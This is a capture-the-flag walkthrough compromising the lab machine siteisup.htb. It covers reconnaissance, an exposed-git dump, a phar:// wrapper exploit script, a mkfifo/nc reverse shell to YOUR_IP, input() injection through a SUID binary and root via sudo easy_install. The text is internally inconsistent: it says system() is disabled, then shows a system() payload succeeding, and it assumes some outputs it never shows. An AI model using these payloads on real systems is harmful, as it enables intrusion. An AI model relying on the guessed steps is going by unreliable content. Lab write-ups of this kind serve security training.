Target IP: 10.10.11.177 Hostname: siteisup.htb

Initial Reconnaissance

First, add the hostname to /etc/hosts:

echo "10.10.11.177 siteisup.htb" | sudo tee -a /etc/hosts

Run an Nmap scan to identify open ports and services:

sudo nmap -sS --top-ports 1000 10.10.11.177
sudo nmap -sV -v 10.10.11.177

Nmap output:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 03:21 KST
Nmap scan report for 10.10.11.177
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

[...]

Nmap scan report for 10.10.11.177
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

Ports 22 (SSH) and 80 (HTTP) are open. The web server is Apache 2.4.41 on Ubuntu.

Web Enumeration

Visiting http://siteisup.htb reveals a simple website checker tool.

Source code snippet:

<form method="POST">
    <label>Website to check:</label><br><br>
    <input type="text" name="site" value="" placeholder="http://google.com">
    <input type="checkbox" id="debug" name="debug" value="1">
    <label for="debug"> Debug mode  (On/Off) </label><br>
    <input type="submit" value="Check">
</form>

This looks like a potential target for Server-Side Request Forgery (SSRF) or Remote Code Execution (RCE).

Let’s enumerate subdomains and virtual hosts. Standard gobuster DNS/vhost scans didn’t yield results initially.

Using ffuf for vhost fuzzing revealed a dev subdomain:

ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1131

Add the dev subdomain to /etc/hosts:

echo "10.10.11.177 dev.siteisup.htb" | sudo tee -a /etc/hosts

Exploring dev.siteisup.htb

Going to http://dev.siteisup.htb initially shows nothing useful. Let’s run gobuster for directory enumeration on the dev subdomain.

gobuster dir -u http://dev.siteisup.htb/ -w /usr/share/wordlists/dirb/common.txt

Output:

===============================================================
Gobuster v3.6
[...]
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD            (Status: 200) [Size: 21]
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 0]
[...]
===============================================================

A .git directory is exposed. This indicates a potential source code leak.

Git Repository Dump

We can use tools like git-dumper to dump the repository content from the exposed .git directory.

git-dumper http://dev.siteisup.htb/.git output
cd output
ls -al

Output shows the source files:

total 40
drwxrwxr-x 3 foo1 foo1 4096 Oct  4 09:41 .
drwxrwxr-x 5 foo1 foo1 4096 Oct  4 09:41 ..
-rw-rw-r-- 1 foo1 foo1   59 Oct  4 09:41 admin.php
-rw-rw-r-- 1 foo1 foo1  147 Oct  4 09:41 changelog.txt
-rw-rw-r-- 1 foo1 foo1 3145 Oct  4 09:41 checker.php
drwxrwxr-x 8 foo1 foo1 4096 Oct  4 09:41 .git
-rw-rw-r-- 1 foo1 foo1  117 Oct  4 09:41 .htaccess
-rw-rw-r-- 1 foo1 foo1  273 Oct  4 09:41 index.php
-rw-rw-r-- 1 foo1 foo1 5531 Oct  4 09:41 stylesheet.css

Examining .htaccess reveals access control rules:

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

Access to the dev site requires a specific HTTP header: Special-dev: only4dev.

Exploiting Phar Deserialization

Reviewing checker.php (the likely backend for the website checker) might reveal how the site parameter is handled. It seems file_exists or similar functions might be used, which are vulnerable to Phar deserialization if user input controls the path.

We can attempt to exploit this using the phar:// wrapper.

1. Create a PHP payload (e.g., phpinfo()):

   <?php phpinfo(); ?>
   

   Save this as info.php.

2. Create a PHAR archive containing this payload (using a separate script):

   <?php
       $phar = new Phar('info.phar');
       $phar->startBuffering();
       $phar->addFromString('info.txt', '<?php phpinfo(); ?>'); // Payload inside the archive
       $phar->setStub('<?php __HALT_COMPILER(); ?>'); // Minimal stub
       // Add dummy object for potential deserialization trigger if needed
       // class Dummy { }
       // $o = new Dummy();
       // $phar->setMetadata($o);
       $phar->stopBuffering();
   ?>
   

   Note: A simple payload might not trigger deserialization if no vulnerable gadget chain exists. The goal here is likely LFI/RCE via the wrapper.

3. Upload the archive (renamed, e.g., info.txt) using the main site’s checker form (assuming it stores uploaded files temporarily in uploads/). We need the resulting path/hash. Let’s assume the uploaded file ends up in uploads/HASH/info.txt.

4. Craft the request to dev.siteisup.htb including the required header and the phar:// wrapper in the page parameter (deduced from analysing index.php and checker.php from the git dump). URL encoding the path might be necessary.

Example using Python requests:

   import requests
   import urllib.parse

   # Assume the uploaded file hash is '88724c7e1905dc1c276efb6073aa59ea'
   file_hash = '88724c7e1905dc1c276efb6073aa59ea'
   phar_path = f'phar://uploads/{file_hash}/info.txt/info.txt' # Path to file inside phar

   # Construct the URL with the page parameter
   base_url = 'http://dev.siteisup.htb/'
   params = {'page': phar_path}
   url = base_url + '?' + urllib.parse.urlencode(params)

   headers = {
       'Host': 'dev.siteisup.htb',
       'Special-dev': 'only4dev',
       'User-Agent': 'Mozilla/5.0'
   }

   response = requests.get(url, headers=headers)
   print(response.status_code)
   # Check response.text for phpinfo() output or errors
   print(response.text)

If successful, this confirms the vulnerability. We can replace phpinfo() with a reverse shell payload.

Bypassing Disabled Functions for RCE

The phpinfo() output reveals disable_functions, which includes system, exec, shell_exec, etc., preventing direct command execution.

Common bypass techniques include:

• Using proc_open (if not disabled).
• Using mail with LD_PRELOAD (if mail and putenv are available).
• Exploiting PHP-FPM (if applicable) using stream_socket_client.

Let’s try a reverse shell payload using bash and common network tools.

1. Modify the PHAR payload generation (info.txt content):

   <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f'); ?>
   

   Replace YOUR_IP and YOUR_PORT.

2. Re-generate the PHAR (info.phar), rename to info.txt, upload it, get the new hash.

3. Set up a listener: nc -nlvp YOUR_PORT.

4. Trigger the exploit using the Python script with the updated phar_path.

If system is disabled, we might need tools like dfunc-bypasser or exploit proc_open manually if available. The output from dfunc-bypasser suggested proc_open might work.

A successful connection:

❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [ATTACKER_IP] from [10.10.11.177] 58844
bash: cannot set terminal process group (909): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/siteisup.htb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have a shell as www-data.

Privilege Escalation

Move into the developer’s home directory (/home/developer) and look around. The dev directory contains interesting files.

www-data@updown:/var/www/siteisup.htb$ cd /home/developer/dev
www-data@updown:/home/developer/dev$ ls -al
total 32
drwxr-x--- 2 developer www-data   4096 Jun 22  2022 .
drwxr-xr-x 6 developer developer  4096 Aug 30  2022 ..
-rwsr-x--- 1 developer www-data  16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data    154 Jun 22  2022 siteisup_test.py

The siteisup binary has the SUID bit set and is owned by developer. The siteisup_test.py script likely interacts with this binary.

# siteisup_test.py
import requests

url = input("Enter URL here:") # Vulnerable input() in Python 2
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

The input() function in Python 2 evaluates the user’s input as code. We can inject Python code to get a shell as the developer user.

Run the SUID binary and inject the payload:

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('/bin/bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)

We are now the developer user.

Check for SSH keys:

developer@updown:/home/developer/dev$ cat /home/developer/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----

Save this key and use it to SSH in as developer.

chmod 400 developer.pem
ssh -i developer.pem developer@10.10.11.177

Root Privilege Escalation

Check sudo -l. It might reveal allowed commands. If not, search for other vectors like SUID binaries or cron jobs.

In this case, /usr/local/bin/easy_install seems to be available via sudo. Check GTFOBins for easy_install.

developer@updown:~$ sudo -l
# Assuming output shows easy_install is allowed:
# User developer may run the following commands on updown:
#    (ALL) /usr/local/bin/easy_install * 

Exploit using easy_install (GTFOBins):

developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo /usr/local/bin/easy_install $TF # Use the full path if necessary
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.XXXXXXXXXX
Writing /tmp/tmp.XXXXXXXXXX/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.XXXXXXXXXX/egg-dist-tmp-XXXXXX
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
98a8249401d04fbf5b92f5210a966e95

Root flag obtained!